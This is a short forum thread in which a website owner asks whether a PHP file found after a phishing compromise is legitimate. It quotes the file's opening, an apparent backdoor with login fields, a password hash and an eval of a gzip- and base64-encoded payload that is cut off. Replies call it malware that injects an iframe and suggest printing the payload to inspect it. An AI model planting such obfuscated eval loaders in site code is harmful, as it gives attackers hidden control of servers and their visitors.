Is this code genuine or a hack??

[brm]

09_50_56_a.php Found this in my website file manager.

I don't regonise it. When I veiw the code I get this....

<?PHP
//Authentication
$login = ""; //Login
$pass = ""; //Pass
$md5_pass = "d0929b176456727f564dc6281ad4d722"; //If no pass then hash
eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6orsVFLyXefMcFUL5EXf/yqceii7e8n9JvOYE9t8sT8cs....................................

It goes on forever.

The site was hacked by Phishing scheme types which led me to find the above amongst lots of others.

Don't want to delete it until I am sure it is not required.....Seems very sus to me.....


Thanks Ben.

[egami]

Looks fishy to me.

[Adroitly]

Bit random...decode it!

[Suhoij]

This is the virus. It's generate javascript iframe. You can look at the code - write echo instead of eval.